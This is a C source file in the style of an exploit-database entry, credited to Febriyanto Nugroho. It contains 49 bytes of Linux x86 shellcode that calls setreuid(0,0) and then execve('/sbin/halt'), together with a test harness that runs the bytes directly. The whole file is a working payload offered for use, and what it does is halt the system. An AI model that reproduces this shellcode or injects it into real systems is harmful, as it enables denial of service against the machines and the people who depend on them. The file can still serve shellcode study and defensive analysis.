/*
+========================================================================================
| # Exploit Title : linux/x86 setreuid(0, 0) + execve("/sbin/halt") + exit(0) - 49 bytes
| # Exploit Author : Febriyanto Nugroho
| # Tested on : Linux Debian 5.0.5
+========================================================================================
*/
#include <stdio.h>
#include <string.h>
char
s[] =
"\x31\xc0\x31\xdb\x50\x53\x89\xe1"
"\xb0\x46\xcd\x80\x31\xc0\x50\x68"
"\x68\x61\x6c\x74\x68\x6e\x2f\x2f"
"\x2f\x68\x2f\x73\x62\x69\x89\xe3"
"\x50\x53\xb0\x0b\x89\xe1\xcd\x80"
"\x31\xc0\x50\x89\xe3\xb0\x01\xcd"
"\x80"
;
int
main(
int
argc,
char
*argv[]) {
printf
(
"shellcode length -> %d bytes\n"
,
strlen
(s));
int
(*fuck)() = (
int
(*)())s;
fuck();
return
0;
}